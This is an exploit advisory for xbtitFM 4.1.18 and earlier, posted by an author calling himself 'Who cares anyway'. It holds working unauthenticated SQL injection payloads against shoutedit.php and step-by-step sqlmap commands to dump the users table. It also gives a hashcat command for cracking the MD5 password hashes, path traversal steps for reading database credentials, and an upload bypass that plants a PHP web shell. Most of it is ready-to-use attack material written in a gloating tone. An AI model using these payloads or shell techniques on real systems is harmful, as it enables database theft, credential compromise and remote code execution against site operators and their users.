Authored by Who cares anyway

xbtitFM versions 4.1.18 and below suffer from remote shell upload, remote SQL injection, and path traversal vulnerabilities.

# Exploit Title: xbtitFM 4.1.18 Multiple Vulnerabilities
# Date: 22-01-2024
# Exploit Author: Who cares anyway
# Vendor Homepage:
# Affected versions: 4.1.18 and prior
# CVE : Who cares anyway
# Description: The SQLi and the path traversal are unauthenticated, they don't require any user interaction to be exploited and are present in the default configuration of xbtitFM.
The insecure file upload requires the file_hosting feature (hack) being enabled. If not, it can be enabled by gaining access to an administrator account.
Looking at the state and the age of the codebase there are probably more, but who cares anyway...

[Unauthenticated SQL Injection - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H]

Some examples:
Get DB name:
/shoutedit.php?action=edit&msgid=1337 AND EXTRACTVALUE(0,CONCAT(0,0,(MID((IFNULL(CAST(DATABASE() AS NCHAR),0)),1,100))))

Get DB user:
/shoutedit.php?action=edit&msgid=1337 AND EXTRACTVALUE(0,CONCAT(0,0,(MID((IFNULL(CAST(CURRENT_USER() AS NCHAR),0)),1,100))))

Get password hash of any user (might need some modification to work on different instances):
/shoutedit.php?action=edit&msgid=1337 OR (1,1) = (SELECT COUNT(0),CONCAT((SELECT CONCAT_WS(0x3a,id,username,password,email,0x3a3a3a) FROM xbtit_users WHERE username='admin_username_or_whatever_you_like'),FLOOR(RAND(0)*2)) FROM (information_schema.tables) GROUP BY 2);

Now the fun part. Automate it with sqlmap to dump the database.
1) Get DB name
sqlmap -u "" -p msgid --technique=E --answers="include=N" --batch --current-db
2) Get table names
sqlmap -u "" -p msgid --technique=E --answers="include=N" --batch -D the_identified_database_name --tables
3) Dump users table (usually called xbtit_users)
sqlmap -u "" -p msgid --technique=E --answers="include=N" --batch -D the_identified_database_name -T xbtit_users -C id,username,email,cip,dob,password,salt,secret --dump
4) Crack hashes (usually unsalted MD5, yey!)
hashcat –m 0 xbtitfm_exported_hashes.txt wordlist.txt
Pro tip: Use All-in-One-P (

[Unauthenticated Path traversal - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N]

1) Intentionally search for a file that doesn't exist to get the web application path e.g. (/home/xbtitfm/public_html/)

2) Read files that contain database credentials.

Or any other system file you want.

3) Now who needs the SQLi to dump the DB when you have this gem? Check if the following file is configured
If so, go to (CBT Sql backup utilitiy aka Sypex-Dumper), login with the DB credentials you just found, now export the DB with on click. Nice and easy.

[Insecure file upload - Remote Code Execution (Authenticated)- CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H]

If that wasn't enough already and you want RCE, visit
If the file hosting feature (hack) is enabled, then simply just upload a PHP shell with the following bypass.
Changing the Content-Type of the file to image/gif and the first bytes to GIF89a; are enought to bypass the filetype checks.
A silly contermeasure against PHP files is in place so make sure you change <?php to <?pHp to bypass it.

Content-Disposition: form-data; name="file"; filename="definately_not_a_shell.php"
Content-Type: image/gif

<form method="GET" name="<?pHp echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">




The web shell will then be uploaded here:

If the file hosting feature is disabled, extract and crack the hash of an admin, then enable the feature from the administration panel and upload the shell.